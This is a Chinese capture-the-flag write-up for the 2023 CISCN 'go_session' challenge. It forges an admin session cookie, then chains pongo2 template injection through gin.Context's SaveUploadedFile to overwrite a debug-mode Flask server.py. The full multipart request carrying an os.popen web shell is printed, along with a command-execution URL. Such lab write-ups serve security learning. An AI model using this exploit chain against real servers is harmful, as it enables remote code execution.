2023CISCN go_session

今天来做一道国赛题练习一下,环境用的是ctfshow

打开题目后显示Hello, guest

下载附件进行分析,可以看到有三个文件

main.go可以看到有三个路由

然后route.go代码如下

go 复制代码
package route

import (
	"github.com/flosch/pongo2/v6"
	"github.com/gin-gonic/gin"
	"github.com/gorilla/sessions"
	"html"
	"io"
	"net/http"
	"os"
)

var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

func Index(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] == nil {
		session.Values["name"] = "guest"
		err = session.Save(c.Request, c.Writer)
		if err != nil {
			http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
			return
		}
	}

	c.String(200, "Hello, guest")
}

func Admin(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] != "admin" {
		http.Error(c.Writer, "N0", http.StatusInternalServerError)
		return
	}
	name := c.DefaultQuery("name", "ssti")
	xssWaf := html.EscapeString(name)
	tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
	if err != nil {
		panic(err)
	}
	out, err := tpl.Execute(pongo2.Context{"c": c})
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	c.String(200, out)
}

func Flask(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] == nil {
		if err != nil {
			http.Error(c.Writer, "N0", http.StatusInternalServerError)
			return
		}
	}
	resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
	if err != nil {
		return
	}
	defer resp.Body.Close()
	body, _ := io.ReadAll(resp.Body)

	c.String(200, string(body))
}

其中NewCookieStore([]byte(os.Getenv("SESSION_KEY")))表示从环境变量中获取SESSION_KEY并转化为字节切片,然后将其作为session的密钥进行签名认证

函数Index设置session默认权限为guestAdmin则校验是否是admin权限,满足的话则可以传参进行ssti;Flask则表示访问http://127.0.0.1:5000/并加上用户传递的参数

了解完题目情况后就可以开始做题,首先是解决权限问题,因为不知道题目环境变量中SESSION_KEY的值是什么,我们可以猜测它的值为空,在本地修改文件运行伪造session即可

修改Index函数如下

go 复制代码
func Index(c *gin.Context) {
    session, err := store.Get(c.Request, "session-name")
    if err != nil {
       http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
       return
    }
    // 改为如果不为admin,就设置为admin
    if session.Values["name"] != "admin" {
       session.Values["name"] = "admin"
       err = session.Save(c.Request, c.Writer)
       if err != nil {
          http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
          return
       }
    }

    c.String(200, "Hello, admin")
}

本地运行,然后获取session值

复制到题目环境里覆盖掉原有的cookie,然后访问/admin

可以正常访问,也就是成功获取了admin权限

在Admin函数里面可以看到用的是pongo2模板,/admin传参?name={``{pongo2.version}},可以看到回显版本号

但是题目里有xssWaf := html.EscapeString(name),跟进EscapeString函数

可以看到会将特殊字符进行html实体编码,就导致我们常规的ssti打法不能用,例如{``{include "/etc/passwd"}},需要想办法绕过这个waf

继续分析,Flask函数可以访问http://127.0.0.1:5000/并加上用户传递的参数,然后name的默认值为guest,初步尝试,发现name传值为空时,会导致页面错误

但是网页并没有渲染,这样看着不方便,可以复制下来本地保存为html,然后再打开就可以正常分析了

可以看到报的是400错误,也就是缺少name参数,继续分析,在下面可以看到/app/server.py的源码

这里设置了debug=True,也就意味着开启了热加载功能,修改文件代码后直接刷新页面就能看到效果,无需重启进程;同时还会显示traceback 的调试页面,也就是我们上面看到的页面。可以说这个就是关键突破口

然后我们可以利用admin路由里的ssti漏洞,想办法污染这个server.py即可

分析Admin函数可以看到,这里将gin.Context对象c注入到pongo2模板的上下文变量中,键名为"c",相当于我们可以通过c对象调用gin.Context的方法

gin.Context如何进一步利用,我们跟进代码看看

可以看到,Context结构体中有一个名为Request的字段,类型为指向http.Request的指针,用来保存当前HTTP请求对象。继续跟进Request看看

Request里面定义了很多函数,例如UserAgent()函数我们就可以拿来传值,这样就可以绕过前面对双引号的限制了

go 复制代码
c.Request.UserAgent()

同样的,还有很多方法可以用于传值,自由选择就可以

双引号的问题解决了,但是我们如何重写server.py还没解决,继续分析Context结构体,发现有个函数SaveUploadedFile可以将文件上传到指定位置

但我们不知道该函数能否把已经存在的文件给覆盖掉,里面有个os.Create函数,我们查阅官方文档可以看到https://pkg.go.dev/os#Create

如果目标文件已经存在,则会把文件截断为长度0,相当于清空内容,然后再通过后面的io.Copy函数把内容上传上去。这样我们的问题就解决了

SaveUploadedFile函数要求上传的第一个参数为multipart.FileHeader对象,刚好我们在前面看到FormFile函数的第一个返回值就为这个,第二个返回值error会被Pongo2模板引擎自动处理不用管,那我们用FormFile函数来获取该对象就可以

构造payload如下

复制代码
/admin?name={{c.SaveUploadedFile(c.FormFile(c.Request.UserAgent()),c.Request.Referer())}}

我们需要用表单形式来提交恶意代码内容,这里需要手动进行构造,然后我这里用User-Agentreferer来传值,当然你也可以用其他的http头,找到对应的函数即可

复制代码
User-Agent: a
referer: /app/server.py
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykLBmWN7oHI3H0bOS

------WebKitFormBoundarykLBmWN7oHI3H0bOS
Content-Disposition: form-data; name="a"; filename="server.py"

from flask import *
import os

app = Flask(__name__)
@app.route('/')
def index():
    name = request.args['cmd']
    cmd = os.popen(name).read()
    return cmd

if __name__ == "__main__":
    app.run(host="127.0.0.1", port=5000, debug=True)

------WebKitFormBoundarykLBmWN7oHI3H0bOS--

发包,显示Hello !表示成功

最后回到网页访问/flask执行命令即可,需要注意的是,name参数只是用来传参,我们要传入cmd参数才可以执行命令

payload如下,看着有点别扭,但确实是这样写

复制代码
/flask?name=?cmd=ls${IFS}/

最后读取th1s_1s_f13g即可

相关推荐
-曾牛15 小时前
Yak语言核心基础:语句、变量与表达式详解
数据库·python·网络安全·golang·渗透测试·安全开发·yak
2503_9469718619 小时前
【CTI/IAM】2026年度威胁情报分析与身份隔离架构基准索引 (Benchmark Index)
网络安全·系统架构·数据集·身份管理·威胁情报
Bug.ink20 小时前
BUUCTF——WEB(7)
web安全·网络安全·buuctf
heze0920 小时前
sqli-labs-Less-6自动化注入方法
mysql·网络安全·自动化
heze0920 小时前
sqli-labs-Less-8自动化注入方法
mysql·网络安全·自动化
安全渗透Hacker21 小时前
参数未校验导致的DOS(服务拒绝)问题典型场景
java·安全·web安全·网络安全·安全性测试
小谢取证1 天前
电子数据取证之使用Trae进行流量包解析
网络安全
源代码•宸1 天前
Leetcode—1123. 最深叶节点的最近公共祖先【中等】
经验分享·算法·leetcode·职场和发展·golang·dfs
源代码•宸1 天前
Golang基础语法(go语言error、go语言defer、go语言异常捕获、依赖管理、Go Modules命令)
开发语言·数据库·后端·算法·golang·defer·recover